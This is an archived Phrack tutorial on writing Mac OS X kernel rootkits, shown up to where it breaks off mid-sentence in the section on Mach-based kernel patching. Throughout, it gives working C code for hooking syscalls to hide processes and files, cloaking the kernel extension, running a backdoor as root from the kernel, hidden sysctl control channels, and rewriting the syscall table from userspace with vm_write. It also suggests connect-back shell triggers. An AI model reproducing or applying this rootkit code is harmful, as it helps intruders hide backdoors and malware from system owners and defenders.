💾 Archived View for aphrack.org › issues › phrack66 › 16.gmi captured on 2021-12-04 at 18:04:22. Gemini links have been rewritten to link to archived content
⬅️ Previous capture (2021-12-03)
-=-=-=-=-=-=-
==Phrack Inc.== Volume 0x0d, Issue 0x42, Phile #0x10 of 0x11 |=-----------------------------------------------------------------------=| |=----------------=[ Developing Mac OSX kernel rootkits ]=--------------=| |=-----------------------------------------------------------------------=| |=---------------=[ By wowie <wowie@hack.se> & ]=--------------=| |=---------------=[ ghalen@hack.se ]=--------------=| |=---------------=[ ]=--------------=| |=---------------=[ #hack.se ]=--------------=| |=-----------------------------------------------------------------------=| -[ Content 1 - Introduction 1.1 - Background 1.2 - Rootkit basics 1.3 - Syscall basics 1.4 - Userspace and kernelspace 2 - Introducing the XNU kernel 2.1 - OS X kernel rootkit history 2.2 - Finding the syscall entry table 2.3 - Opaque kernel structures 2.4 - The I/O Kit Framework 3 - Kernel development on Mac OS X 3.1 - Kernel version dependence 4 - Your first OS X kernel rootkit 4.1 - Replacement of a simple syscall 4.2 - Hiding processes 4.3 - Hiding files 4.4 - Hiding a kernel extension 4.5 - Running userspace programs from kernelspace 4.6 - Controlling your rootkit from userspace 5 - Runtime kernel patching using the Mach APIs 5.1 - System call hijacking 5.2 - Direct Kernel Object Manipulation 6 - Detection 6.1 - Detecting hooked system calls on Mac OS X 7 - Summary 8 - References 9 - Code --[ 1 - Introduction -[ 1.1 - Background Rootkits for different operating systems have been around for many years. Linux, Windows, and the different *BSD-flavors have all had their fair share of rootkits. Kernel rootkits are just a continuation of the standard file-swapping rootkits of days past. The dawn of tools like Osiris and Tripwire forced coders seeking to subvert the operating system to take refuge in kernelspace. The basic idea of a rootkit is to change the behavior and output of standard commands and tools to hide the presence of backdoors, sniffers and other types of malicious code. And just as within other parts of the security industry it is a continuing arms race between those who seek to subvert the kernel and those who seek to protect it. In this article we will describe the basics of runtime kernel patching and kernel rootkits for the Mac OS X operating system and how to develop your own. It is intended as an entry level tutorial for beginners and as well as guide for those interested in adapting existing kernel rootkits from other operating systems to Mac OS X. Apple supports two CPU architectures for the Mac OS X operating system: Intel and PowerPC. We believe that this guide is architecture neutral and that most of the source code is compatible with both architectures. -[ 1.2 - Rootkit basics The purpose of a rootkit is to hide the presence of an intruder and his tools. In order to do this the most common features of a kernel rootkit is the ability to hide files, processes and network sockets. More advanced rootkits sometimes provide backdoors and keyboard sniffers. When a program such as '/bin/ls' is run to lists the files and folders of a directory it calls a function in the kernel called a syscall. The syscall is invoked from userland and transfers control from the userland process to the kernelspace function getdirentries(). The getdirentries() function returns a list of files for the specified directory to the userland process that in return displays the list to the user. In order to hide the presence of a specific file the data returned from the getdirentires() syscall needs to be modified and the entry for the file deleted before returning the data to the user. This can be accomplished in a number of different ways; one way is to modify the filesystem processing layer (VFS) and another is to directly modify the getdirentires() function. In this brief introduction we will take the easy route and modify the getdirentries() function. -[ 1.3 - Syscall basics When a userland process needs to call a kernel function it invokes a syscall. A syscall is an API function that provides access to services provided by the kernel such as reading or writing to files, listing files in directories or opening and closing network sockets. Each syscall has a number, and all syscalls are invoked referencing this syscall number. When a userland process wants to invoke a kernel function it is almost always done through a wrapper function in the libc-library that in turn generates a software interrupt that transfers control from the userland process in to the kernel. The kernel stores a list of all available syscall functions in a table called the sysentry table, each entry has a function pointer to the location of the function for that syscall number. The kernel looks up the syscall that the userland process wants to call in the syscall entry table and invokes that function to handle the request. A list of the available syscalls as well as their numbers can be found in /usr/include/sys/syscall.h. For example, syscalls of interest to a rootkit wanting to hide files are: 196 - SYS_getdirentries 222 - SYS_getdirentriesattr 344 - SYS_getdirentries64 Each of these entries in the table points to the function in the kernel responsible for returning a list of files. SYS_getdirentries is an older version of the function, SYS_getdirentriesattr is a similar version of with support for OS X specific attributes. SYS_getdirentries64 is a newer version that supports longer filenames. SYS_getdirentries is used by for example bash, SYS_getdirentries64 is used by the ls command and SYS_getdirentriesattr is used by pure OS X-integrated applications like the Finder. Each of these functions needs to be replaced in order to provide a seamless 'experience' for the end-user. In order to modify the output of the function a wrapper function needs to be created that can replace the original function. The wrapper function will first call the original function, search the output and do the required censoring before returning the sanitized data to the userland process. -[ 1.4 - Userspace and Kernelspace The kernel runs in a separate memory space that is private to the kernel in the same way as each user process has it's own private memory. This means that is is not possible to just read and write freely memory from the kernel. Whenever the kernel needs to modify memory in user-space, for instance copy data to or from userspace, specific routines and protocols needs to followed. A number of help functions are provided for this specific task, most notably copyin(9) and copyout(9). More information about these functions can be found in the manpages for copy(9) and store(9). --[ 2 - Introducing the XNU kernel XNU, the Mac OS X kernel and it's core is based on the Mach micro kernel and FreeBSD 5. The Mach layer is responsible for kernel threads, processes, pre-emptive multitasking, message-passing, virtual memory management and console i/o. Above the Mach layer is the BSD layer that supplies the POSIX API, networking and filesystems amongst other things. The XNU kernel also has an object oriented device driver framework known as the I/O Kit. This mashup of different technologies provide several different ways to accomplish the same task; to modify the running kernel. Another interesting choice in the design of the XNU kernel is that both the kernel- and userland has their own 4gb address space. -[ 2.1 - OS X kernel rootkit history One of the first publicly released Mac OS X kernel rootkits were WeaponX [9] which is developed by nemo [5] and was released in November 2004. It is based on the same kernel extension (loadable kernel module) technique that most kernel rootkits use and provides the expected basic functionality of a kernel rootkit. WeaponX [9] does however not work on newer versions of the Mac OS X operating system due to major kernel changes. In the latest few releases of Mac OS X Apple has done a couple things hardening the kernel and making it more difficult to subvert. Of particular interest is the fact that it no longer exports the sysentry table and that several of the key kernel structures are opaque and hidden from kernel developers. -[ 2.2 - Finding the syscall entry table As of OS X version 10.4 the sysentry table is no longer an exported symbol from the kernel. This means that the compiler will not be able to automatically identify the position in memory where the sysentry table is stored. This can either be solved by searching the memory for an appropriate looking table or using something else as a reference. Landon Fuller identified that the exported symbol nsysent (the number of entries in the sysentry table) is stored in close proximity to the sysentry table. He also wrote a small routine that finds the sysentry table and returns a pointer to it that can be used to manipulate the table as one see fit [1]. The sysent structure is defined like this: struct sysent { int16_t sy_narg; /* number of arguments */ int8_t reserved; /* unused value */ int8_t sy_flags; /* call flags */ sy_call_t *sy_call; /* implementing function */ sy_munge_t *sy_arg_munge32;/* munge system call arguments for 32-bit processes */ sy_munge_t *sy_arg_munge64;/* munge system call arguments for 64-bit processes */ int32_t sy_return_type; /* return type */ uint16_t sy_arg_bytes; /* The size of all arguments for 32-bit system calls, in bytes */ } *_sysent; The most interesting part of the structure is the "sy_call" pointer, which is a pointer to the actual syscall handler function. Thats the function we want our rootkit to hook. Hooking the function is as easy as changing the value of the pointer to point at our own function somewhere in memory. -[ 2.3 - Opaque kernel structures With OS X version 10.4 Apple also changed the kernel structure in order to provide a more stable kernel API. This was done to ensure that kernel extensions doesn't break when internal kernel structures change. This involves hiding large parts of the internal structures behind API:s and only exporting chosen parts of the structures to developers. A good example of this is the process structure called "proc". Which is available from both userland and kernelland. The userland version is defined in /usr/include/sys/proc.h and looks like this: struct extern_proc { union { struct { struct proc *__p_forw; /* Doubly-linked run/sleep queue. */ struct proc *__p_back; } p_st1; struct timeval __p_starttime; /* process start time */ } p_un; #define p_forw p_un.p_st1.__p_forw #define p_back p_un.p_st1.__p_back #define p_starttime p_un.__p_starttime struct vmspace *p_vmspace; /* Address space. */ struct sigacts *p_sigacts; /* Signal actions, state (PROC ONLY). */ int p_flag; /* P_* flags. */ char p_stat; /* S* process status. */ pid_t p_pid; /* Process identifier. */ pid_t p_oppid; /* Save parent pid during ptrace. XXX */ int p_dupfd; /* Sideways return value from fdopen. XXX */ /* Mach related */ caddr_t user_stack; /* where user stack was allocated */ void *exit_thread; /* XXX Which thread is exiting? */ int p_debugger; /* allow to debug */ boolean_t sigwait; /* indication to suspend */ /* scheduling */ u_int p_estcpu; /* Time averaged value of p_cpticks. */ int p_cpticks; /* Ticks of cpu time. */ fixpt_t p_pctcpu; /* %cpu for this process during p_swtime */ void *p_wchan; /* Sleep address. */ char *p_wmesg; /* Reason for sleep. */ u_int p_swtime; /* Time swapped in or out. */ u_int p_slptime; /* Time since last blocked. */ struct itimerval p_realtimer; /* Alarm timer. */ struct timeval p_rtime; /* Real time. */ u_quad_t p_uticks; /* Statclock hits in user mode. */ u_quad_t p_sticks; /* Statclock hits in system mode. */ u_quad_t p_iticks; /* Statclock hits processing intr. */ int p_traceflag; /* Kernel trace points. */ struct vnode *p_tracep; /* Trace to vnode. */ int p_siglist; /* DEPRECATED */ struct vnode *p_textvp; /* Vnode of executable. */ int p_holdcnt; /* If non-zero, don't swap. */ sigset_t p_sigmask; /* DEPRECATED. */ sigset_t p_sigignore; /* Signals being ignored. */ sigset_t p_sigcatch; /* Signals being caught by user. */ u_char p_priority; /* Process priority. */ u_char p_usrpri; /* User-priority based on p_cpu and p_nice. */ char p_nice; /* Process "nice" value. */ char p_comm[MAXCOMLEN+1]; struct pgrp *p_pgrp; /* Pointer to process group. */ struct user *p_addr; /* Kernel virtual addr of u-area (PROC ONLY). */ u_short p_xstat; /* Exit status for wait; also stop signal. */ u_short p_acflag; /* Accounting flags. */ struct rusage *p_ru; /* Exit information. XXX */ }; The internal definition in the kernel is available from the xnu source in the file xnu-xxx/bsd/sys/proc_internal.h and contains a lot more info than it's userland counterpart. If we take a look at the userland version of the proc structure from Mac OS X 10.3, with Darwin 7.0, and compares it to the structure above we can spot the differences right away (some comments and whitespace is removed to save space and make it more readable) struct proc { LIST_ENTRY(proc) p_list; /* List of all processes. */ struct pcred *p_cred; /* Process owner's identity. */ struct filedesc *p_fd; /* Ptr to open files structure. */ struct pstats *p_stats; /* Accounting/statistics (PROC ONLY). */ struct plimit *p_limit; /* Process limits. */ struct sigacts *p_sigacts; /* Signal actions, state (PROC ONLY). */ #define p_ucred p_cred->pc_ucred #define p_rlimit p_limit->pl_rlimit int p_flag; /* P_* flags. */ char p_stat; /* S* process status. */ char p_pad1[3]; pid_t p_pid; /* Process identifier. */ LIST_ENTRY(proc) p_pglist; /* List of processes in pgrp. */ struct proc *p_pptr; /* Pointer to parent process. */ LIST_ENTRY(proc) p_sibling; /* List of sibling processes. */ LIST_HEAD(, proc) p_children; /* Pointer to list of children. */ #define p_startzero p_oppid pid_t p_oppid; /* Save parent pid during ptrace. XXX */ int p_dupfd; /* Sideways return value from fdopen. XXX */ u_int p_estcpu; /* Time averaged value of p_cpticks. */ int p_cpticks; /* Ticks of cpu time. */ fixpt_t p_pctcpu; /* %cpu for this process during p_swtime */ void *p_wchan; /* Sleep address. */ char *p_wmesg; /* Reason for sleep. */ u_int p_swtime; /* DEPRECATED (Time swapped in or out.) */ #define p_argslen p_swtime /* Length of process arguments. */ u_int p_slptime; /* Time since last blocked. */ struct itimerval p_realtimer; /* Alarm timer. */ struct timeval p_rtime; /* Real time. */ u_quad_t p_uticks; /* Statclock hits in user mode. */ u_quad_t p_sticks; /* Statclock hits in system mode. */ u_quad_t p_iticks; /* Statclock hits processing intr. */ int p_traceflag; /* Kernel trace points. */ struct vnode *p_tracep; /* Trace to vnode. */ sigset_t p_siglist; /* DEPRECATED. */ struct vnode *p_textvp; /* Vnode of executable. */ #define p_endzero p_hash.le_next LIST_ENTRY(proc) p_hash; /* Hash chain. */ TAILQ_HEAD( ,eventqelt) p_evlist; #define p_startcopy p_sigmask sigset_t p_sigmask; /* DEPRECATED */ sigset_t p_sigignore; /* Signals being ignored. */ sigset_t p_sigcatch; /* Signals being caught by user. */ u_char p_priority; /* Process priority. */ u_char p_usrpri; /* User-priority based on p_cpu and p_nice. */ char p_nice; /* Process "nice" value. */ char p_comm[MAXCOMLEN+1]; struct pgrp *p_pgrp; /* Pointer to process group. */ #define p_endcopy p_xstat u_short p_xstat; /* Exit status for wait; also stop signal. */ u_short p_acflag; /* Accounting flags. */ struct rusage *p_ru; /* Exit information. XXX */ int p_debugger; /* 1: can exec set-bit programs if suser */ void *task; /* corresponding task */ void *sigwait_thread; /* 'thread' holding sigwait */ struct lock__bsd__ signal_lock; /* multilple thread prot for signals*/ boolean_t sigwait; /* indication to suspend */ void *exit_thread; /* Which thread is exiting? */ caddr_t user_stack; /* where user stack was allocated */ void * exitarg; /* exit arg for proc terminate */ void * vm_shm; /* for sysV shared memory */ int p_argc; /* saved argc for sysctl_procargs() */ int p_vforkcnt; /* number of outstanding vforks */ void * p_vforkact; /* activation running this vfork proc */ TAILQ_HEAD( , uthread) p_uthlist; /* List of uthreads */ pid_t si_pid; u_short si_status; u_short si_code; uid_t si_uid; TAILQ_HEAD( , aio_workq_entry ) aio_activeq; int aio_active_count; /* entries on aio_activeq */ TAILQ_HEAD( , aio_workq_entry ) aio_doneq; int aio_done_count; /* entries on aio_doneq */ struct klist p_klist; /* knote list */ struct auditinfo *p_au; /* User auditing data */ #if DIAGNOSTIC #if SIGNAL_DEBUG unsigned int lockpc[8]; unsigned int unlockpc[8]; #endif /* SIGNAL_DEBUG */ #endif /* DIAGNOSTIC */ }; As you can seen, Apple has redone this structure quite a bit and removed a lot of stuff, most of the changes where introduced between version 10.3 and 10.4 of Mac OS X. One of the changes to the structure is the removal of the p_ucred pointer, which is a pointer to a structure that contains the user credentials of the current process. This effectively breaks nemos [5] technique of setting a process user-id and group-id to zero, which he does like this: void uid0(struct proc *p) { register struct pcred *pc = p->p_cred; pcred_writelock(p); (void)chgproccnt(pc->p_ruid, -1); (void)chgproccnt(0, 1); pc->pc_ucred = crcopy(pc->pc_ucred); pc->pc_ucred->cr_uid = 0; pc->p_ruid = 0; pc->p_svuid = 0; pcred_unlock(p); set_security_token(p); p->p_flag |= P_SUGID; return; } For a rootkit developer that wants to modify specific kernel structures this is somewhat of a problem, both the fact that the kernel structures are neither exported or well documented and the fact that they might rapidly change between kernel versions. Fortunately the kernel source is now open source and can be freely downloaded from Apple. This makes it possible to extract the needed kernel structures from the source. -[ 2.4 - The I/O Kit Framework Mac OS X contains a complete framework of libraries, tools and various other resources for creating device drivers. This framework is called the I/O Kit. The I/O Kit framework provides an abstract view of the hardware to the upper layers of Mac OS X, which simplifies device driver development and thus makes it's less time consuming. The entire framework is object-oriented and implemented using a somewhat cut down version C++ to promote increased code reuse. Since this framework operates in kernelspace and can interact with actual hardware, it's ideal for writing keylogging software. A good example of abusing the I/O Kit framework for just that purpose is the keylogger called "logKext", [10] written by drspringfield, which utilizes the I/O Kit framework to log a users keystrokes. This is just one of many uses of this framework in rootkit development. Feel free to explore and come up with your own creative ways of subverting the Mac OS X kernel using the I/O Kit framework. --[ 3 - Kernel development on Mac OS X As Mac OS X is somewhat of a hybrid between a number of different technologies runtime modification of the operating system can be done in several ways. One of the easiest methods is to load the 'improved' functionality as a kernel driver. Drivers can be loaded either as kernel extensions for the BSD sub-layer or as Object Oriented I/O Kit drivers. For the purpose of this first exercise only ordinary BSD kernel extensions will be utilized due to their simplicity and ease of development. The easiest way to write a kernel extension for Mac OS X is to use the XCode-templates for 'Generic Kernel Extension'. Open Xcode, Select 'New Project' in the File-menu. From the list of available templates choose 'Generic Kernel Extension' under 'Kernel Extension'. Give the project a suitable name, such as 'rootkit 0.1' and click 'Finish'. This creates a new Xcode project for your new kernel rootkit. The newly automatically created .c-file contains the entry and exit points for the kernel extension: kern_return_t rootkit_0_1_start (kmod_info_t * ki, void * d) { return KERN_SUCCESS; } kern_return_t rootkit_0_1_stop (kmod_info_t * ki, void * d) { return KERN_SUCCESS; } rootkit_0_1_start() will be invoked when the kernel extension is loaded using /sbin/kextload and rootkit_0_1_stop() will be invoked when the kernel extension is unloaded using /sbin/kextunload. Loading and unloading of kernel extensions require root privileges, and the code in these functions will be executed in kernelspace with full control of the entire operating system. It is therefore of the utmost importance that any code executed takes makes sure not to make a mess of everything and thereby crashes the entire operating system. To quote the Apple 'Kernel Program Guide': "Kernel programming is a black art that should be avoided if at all possible" [4]. Any changes made to the kernel in the start()-function must be undone in the stop-function(). Functions, variables and other types of loadable objects will be deallocated when the module is unloaded and any future reference to them will cause the operating system to misbehave or in worst case crash. Building your project is as easy as clicking the 'build button'. The compiled kernel extension can be found in the build/Relase/-directory and is named 'rootkit 0.1.kext'. /sbin/kextload refuses to load kernel extensions unless they are owned by the root user and belongs to the wheel group. This can easily be fixed by chown:ing the files accordingly. Fledging kernel hackers that dislikes the Xcode GUI:s will be please to known that the project can be build just as easily from the command line using the 'xcodebuild' command. Apple provides the XCode IDE and the gcc compiler on the Mac OS X DVD, if needed the latest version can also be downloaded from [2] after registration. The source code for the XNU kernel can also be downloaded from [3]. It is recommended that you keep a copy of the kernel sourcecode at hand as reference during development. One of the great advantages of using the kernel extension API is that the kextload command takes care of everything from linking to loading. This means that the entire rootkit can be written in C, making it almost trivially easy. Another great advantage of C-development is portability which is an important issue considering that Mac OS X is available for two different CPU architectures. -[ 3.1 - Kernel version dependence As Landon Fuller notes in research access to the nsysent variable needed to find the sysentry-table is restricted unless the kext is compiled for a specific kernel release. This is due to the simple fact that the address of this variable is likely to change between kernel releases. Kernel dependence for kernel extensions is configured in the Info.plist file included in the XCode-project. The 'com.apple.kernel'-key needs to be added to OSBundleLibraries with the version set to the Kernel release as indicated by the 'uname -r' command: <key>OSBundleLibraries</key> <dict> <key>com.apple.kernel</key> <string>9.6.0</string> </dict> This ties the compiled kernel extension specifically to version 9.6.0 of the Kernel. A recompile of the kernel extension is needed for each minor and major release. The kernel extension will refuse to load in any other version of the Mac OS X kernel, in many cases that might be considered a good thing. --[ 4 - Your first OS X kernel rootkit -[ 4.1 - Replacement of a simple syscall To start of the whole kernel subversion business we'll take a quick example of replacing the getuid() function. This function returns the current user ID and in this example it will be replaced it with a function that always returns uid zero (root). This will not automatically give all users root access, only the illusion of having root access. Fun but innocent :) int new_getuid() { return(0); } kern_return_t rootkit_0_1_start (kmod_info_t * ki, void * d) { struct sysent *sysent = find_sysent(); sysent[SYS_getuid].sy_call = (void *) new_getuid; return KERN_SUCCESS; } This simple code-snippet first defines a new getuid()-function that always returns 0 (root). The new function will be loaded in kernel memory by the kextload-function. When the start()-function runs it will replace the original getuid() syscall with the new and 'improved' version. Returning KERN_SUCCESS indicates to the operating system that everything went as planed and that the insertion of the kernel extension was successful. A complete version can be found in the code section of this paper; including the unloading function that might prove useful once the initial thrill is over. -[ 4.2 - Hiding processes The '/bin/ps' command, 'top' and the Activity Monitor all list running processes using the sysctl(3) syscall. sysctl(2) is a general purpose multifunction API used to communicate with a multitude of different functions in the kernel. sysctl(2) is used both to list running processes as well open network sockets. In order to intercept and modify the running process list the entire sysctl syscall needs to be intercepted and the commands parsed in order to identify calls to the CTL_KERN->KERN_PROC command used to list current running processes. The sysctl(2) syscall is intercepted using the exactly same method as getuid(), but one of the major differences is that special attention needs to be taken with regards to the arguments. In order to support both big and little endian systems Apple uses padding macros named PADL and PADR that makes the argument struct look very exotic. The easiest way to get it right is to copy the entire struct definition from the XNU kernel source in order to avoid confusion with the padding. sysctl(2) takes its function commands in the form of a char-array called 'name'. The commands are hierarchical and most commands have several subcommands that in turn can have subcommands or arguments. The sysctl(2) commands and their respective subcommands can be found in '/usr/include/sys/sysctl.h'. The CTL_KERN->KERN_PROC command to sysctl copies a list of all running processes to a user provided buffer. From the perspective of the rootkit this presents a problem since we want to modify the data before it is returned to the user but since the syscall writes the data directly to the user provided buffer this is problematic. Fortunately we are in position to manipulate the data in the user buffer prior returning control to the user software. This requires copying the data from userspace into a kernelspace buffer, doing the required modification and then copying the data back into userspace. First memory needed to store the copy of the data needs to be allocated using the MALLOC-macro, then the data needs to be copied from userspace using the copyin(9)-function. The copyin(9) function copies data from userspace to kernelspace. Then the data needs to be processed and selected entries removed. The actual process of deleting an entry is done by overwriting it with the rest of the data in the buffer. This requires doing an overlapping memory copy, this functionality is provided by the bcopy(3) function. Once an entry has been removed the counter for the total size of the buffer needs to be decreased and the data can finally be returned, or rather copied, to userspace. /* Search for process to remove */ for (i = 0; i < nprocs; i++) if(plist[i].kp_proc.p_pid == 11) /* hardcoded PID */ { /* If there is more then one entry left in the list * overwrite this entry with the rest of the buffer */ if((i+1) < nprocs) bcopy(&plist[i+1],&plist[i],(nprocs - (i + 1)) * sizeof(struct kinfo_proc)); /* Decrease size */ oldlen -= sizeof(struct kinfo_proc); nprocs--; } The modified data is then copied back to the userspace buffer using the copyout(9) function. In this case two different functions are used to copy data to userspace. The suulong(9) function is used to copy only small amounts of data to userspace while copyout(9) is used to copy the actual data buffer. /* Copy back the length to userspace */ suulong(uap->oldlenp,oldlen); /* Copy the data back to userspace */ copyout(mem,uap->old, oldlen); The data trailing the last entry will, if the data was modified, contain an extra copy of the last entry in the buffer, something that might be used to detect that the buffer has been modified. To avoid this the trailing data can be zero:ed. A more sophisticated rootkit might want to store a copy of the original buffer prior to the call to the real syscall and use that data to pad the remaining buffer space. A reference implementation of a processes hiding kernel extension can be found in the code section of this paper. -[ 4.3 - Hiding files As noted earlier, three different syscalls are of interest when hiding files, SYS_getdirentries, SYS_getdirentriesattr and SYS_getdirentries64. All of these syscalls share the sysctl(2) approach in that the calling application provides a buffer that the syscall will fill with appropriate data and return a counter indicating how much data was written. Due to the variable size of each record pointer arithmetics is required when parsing the data. All in all it is a complicated procedure and any mishaps is likely to cause a kernel crash. It is also important to patch all three syscalls of the getdirent-syscall in order to maintain the illusion that the malicious files have disappeared. The process is very similar to hiding a process; the original function is invoked, the data copied from userspace to kernelspace, modified as needed and then copied back. A reference implementation of a file hiding kernel extension can be found in the code section of this paper. -[ 4.4 - Hiding a kernel extension Kernel modules can be listed with the command 'kextstat'. If the rogue rootkit kernel extension can be easily identified using the kextstat commands it sort of voids the purpose of the rootkit. nemo [5] identified a simple and elegant way to hide the presence of a kernel module for the WeaponX [9] kernel rootkit. extern kmod_info_t *kmod; void activate_cloaking() { kmod_info_t *k; k = kmod; kmod = k->next; } This short snippet of code finds the linked list containing the loaded modules and simply delinks the last loaded module from that list. Since the kextstat utility will walk this list when presenting the information on loaded kernel extensions the newly loaded rootkit will disappear from that list. For the same reason the kextunload utility will also fail to unload the module from the kernel, which actually can be quite annoying. -[ 4.5 - Running userspace programs from kernelspace On Mac OS X there exists a special API called KUNC (Kernel-User Notification Center) [6]. This API is used when the kernel (i.e. a KEXT) might need to display a notification to the user or run commands in userspace. The KUNC function used to execute commands in userspace is KUNCExecute(). This function is quite handy in rootkit development, since we may execute any command we want as root from kernelspace. The function definition looks like this. (Taken from xnu-xxx/osfmk/UserNotification/KUNCUserNotifications.h) #define kOpenApplicationPath 0 #define kOpenPreferencePanel 1 #define kOpenApplication 2 #define kOpenAppAsRoot 0 #define kOpenAppAsConsoleUser 1 kern_ret_t KUNCExecute(char *executionPath, int openAsUser, int pathExecutionType); The "executionPath" is the file-system path to the application or executable to execute. The "openAsUser" flag can either be "kOpenAppAsConsoleUser", to execute the application as the logged-in user or "kOpenAppAsRoot", to run the application as root. The "pathExecutionType" flag specifies the type of application to execute, and can be one of the following. kOpenApplicationPath - The absolute file-system path to a executable. kOpenPreferencePanel - The name of a preference pane in /System/Library/PreferencePanes. kOpenApplication - The name of a application in the "/Applications" folder. To execute the binary "/var/tmp/mybackdoor" we simply do like this: KUNCExecute("/var/tmp/mybackdoor", kOpenAppAsRoot, kOpenApplicationPath); This function is especially useful in combination with some sort of trigger, like a hooked tcp-handler that executes the function and spawns a connect-back shell to the source-ip of a magic trigger-packet. The interesting parts of the network layer is actually exported and can be easily modified. Or if you prefer a local privilege escalation backdoor, why not hook SYS_open and execute the specified file with KUNCExecute if you supply a magic flag? The possibilities are endless. -[ 4.6 - Controlling your rootkit from userspace Once the appropriate syscalls and kernel functions has been replaced with rogue versions capable of hiding files, network sockets and processes each of these needs to know what to hide. A popular way to trigger process hiding is to hook SYS_kill and send a special signal (31337 perhaps?) to the process to hide. This is easy and requires no special tools of any kind. If the processes hiding is performed by setting special flags on the process this flag can be inherited for fork() and exec() and thereby hide an entire process-tree. Hiding files and sockets is trickier since we have no easy way to indicate to the kernel that we want them hidden. The creation of a new syscall is an easy way, or to piggy-back on one of the hooked ones and have a special magic argument to trigger the communication code. This does however require special tools in userspace capable of calling the right syscall with the correct arguments. These tools can be identified and searched for even if the rootkit tries to hide them in the filesystem they are always vulnerable to offline analysis. An easy way to create a communication channel that doesn't require special tools or an entry in the /dev/-directory is to use sysctl. In the Mac OS X kernel drivers can register their own variables and have them changed using the /usr/sbin/sysctl-tool which is available by default on all systems. Registering a new sysctl can be easily done using the normal kext procedures. The source for the example below can be found in reference 7. /* global variable where argument for our sysctl is stored */ int sysctl_arg = 0; static int sysctl_hideproc SYSCTL_HANDLER_ARGS { int error; error = sysctl_handle_int(oidp, oidp->oid_arg1,oidp->oid_arg2, req); if (!error && req->newptr) { if(arg2 == 0) printf("Hide process %d\n",sysctl_arg); else printf("Unhide process %d\n",sysctl_arg); } /* We return failure so that we dont show up in "sysclt -A"-listings. */ return KERN_FAILURE; } /* Create our sysctl:s */ SYSCTL_PROC(_hw, OID_AUTO, hideprocess,CTLTYPE_INT|CTLFLAG_ANYBODY|CTLFLAG_WR, &sysctl_arg, 0, &sysctl_hideproc , "I", "Hide a process"); SYSCTL_PROC(_hw, OID_AUTO, unhideprocess,CTLTYPE_INT|CTLFLAG_ANYBODY|CTLFLAG_WR, &sysctl_arg, 1, &sysctl_hideproc , "I", "Unhide a process"); kern_return_t kext_start (kmod_info_t * ki, void * d) { /* Register our sysctl */ sysctl_register_oid(&sysctl__hw_hideprocess); sysctl_register_oid(&sysctl__hw_unhideprocess); return KERN_SUCCESS; } This code registers two new sysctl variables, hw.hideprocess and hw.unhideprocess. When written to using sysctl -w hw.hideprocess=99 the function sysctl_hideproc() is invoked and can be used to add the selected PID to the list of processes to hide. A sysctl for hiding files is slightly different since it takes a string as argument instead of an integer but the overall procedure is the same. The major reason to use sysctl is that it support dynamic registration of variable and the required tool sysctl is provided by the operating system. The -A flag for sysctl is avoided by returning KERN_FAILURE whenever the function is called, this causes the newly created variables to be omitted from the listing. There is also a number of other ways of communicating with the kernel and controlling your rootkit. For example you can use the Mach API for IPC or using kernel control sockets, both has their pros and cons. --[ 5 - Runtime kernel patching using the Mach APIs Instead of using a rogue kernel module (kext) to hijack syscalls the Mach API's can be used for runtime kernel patching. This is nothing new to the rootkit community, and has previously been used in rootkits such as SucKIT by sd [7] and phalanx by rebel [8], two very impressive rootkits for Linux. To access kernel memory on Linux both SucKIT and phalanx uses /dev/kmem (and later /dev/mem). /dev/kmem and /dev/mem has been removed from Mac OS X as of version 10.4. The Mach-subsystem does however provide a very useful set of memory manipulation functions. The functions of interest for a rootkit developer are vm_read(), vm_write() and vm_allocate(). These functions allows arbitrary read and write access to the entire kernel from userspace as well as allowing allocation of kernel memory. The only requirement is root access. The vm_allocate() function in particular is of great value. A common technique used on other operating systems to allocate kernel memory is to replace a system call handler with the kmalloc() function, and then execute the syscall. This way an attacker is able to allocate memory in kernelspace needed to store the wrapper functions. The big downside of this approach is the race condition introduced in case some other userland process calls the same syscall. But since the friendly Apple kernel developers provided the vm_allocate() function this isn't necessary on Mac OS X. -[ 5.1 - System call hijacking The vm_read() and vm_write() functions can be used as great tools for syscall hijacking. First off the address of the sysentry table needs to be located. The process identified by Landon Fuller [1] works just as good from userspace as it does from kernelspace. The sysentry table contains pointers to all the syscall handler functions we want to hijack. To read the address to the handler function for a syscall, i.e. SYS_kill, we can use the vm_read() function, and passing it the address of the sy_call variable of SYS_kill. mach_port_t port; pointer_t buf; /* pointer to your result */ unsigned int r_addr = (unsigned int)&_sysent[SYS_kill].sy_call; /* address to sy_call */ unsigned int len = 4; /* number of bytes to read */ unsigned int sys_kill_addr = 0; /* final destination */ /* get a port to pid 0, the mach kernel */ if (task_for_pid(mach_task_self(), 0, &port)) { fprintf(stderr, "failed to get port\n"); exit(EXIT_FAILURE); } /* read len bytes from r_addr, return pointer to the data in &buf */ if (vm_read(port, (vm_address_t)r_addr, (vm_size_t)len, &buf, &sz) != KERN_SUCCESS) { fprintf(stderr, "could not read memory\n"); exit(EXIT_FAILURE); } /* do proper typecast */ sys_kill_addr = *(unsigned int*)buf; The address to the SYS_kill handler is now available in the sys_kill_addr variable. Replacing a syscall handler is as simple as writing a new value to the same location using the vm_write() function. In the example below we replace the SYS_setuid system call handler with the handler for SYS_exit, which will result in the termination of any program that calls SYS_setuid. SYSENT *_sysent = get_sysent_from_mem(); mach_port_t port; pointer_t buf; unsigned int r_addr = (unsigned int)&_sysent[SYS_exit].sy_call; /* address to sy_call */ unsigned int len = 4; /* number of bytes to read */ unsigned int sys_exit_addr = 0; /* final destination */ unsigned int sz, addr; /* get a port to pid 0, the mach kernel */ if (task_for_pid(mach_task_self(), 0, &port)) { fprintf(stderr, "failed to get port\n"); exit(EXIT_FAILURE); } /* read len bytes from r_addr, return pointer to the data in &buf */ if (vm_read(port, (vm_address_t)r_addr, (vm_size_t)len, &buf, &sz) != KERN_SUCCESS) { fprintf(stderr, "could not read memory\n"); exit(EXIT_FAILURE); } /* do proper typecast */ sys_exit_addr = *(unsigned int*)buf; /* address to system call handler pointer of SYS_setuid */ addr = (unsigned int)&_sysent[SYS_setuid].sy_call; /* replace SYS_setuids handler with the handler of SYS_exit */ if (vm_write(port, (vm_address_t)addr, (vm_address_t)&sys_exit_addr, sizeof(sys_exit_addr))) { fprintf(stderr, "could not write memory\n"); exit(EXIT_FAILURE); } Now if any program calls setuid(), it will be redirected to the system call handler of SYS_exit, and end gracefully. The same thing that can be done using a kernel extension can also be accomplished using the Mach API. In order to actually create a wrapper or completely replace a function some kernel memory is needed to store the new code. Below is a simple example of how to allocate 4096 bytes of kernel memory using the Mach API. vm_address_t buf; /* pointer to our newly allocated memory */ mach_port_t port; /* a mach port is a communication channel between threads */ /* get a port to pid 0, the mach kernel */ if (task_for_pid(mach_task_self(), 0, &port)) { fprintf(stderr, "failed to get port\n"); exit(EXIT_FAILURE); } /* allocate 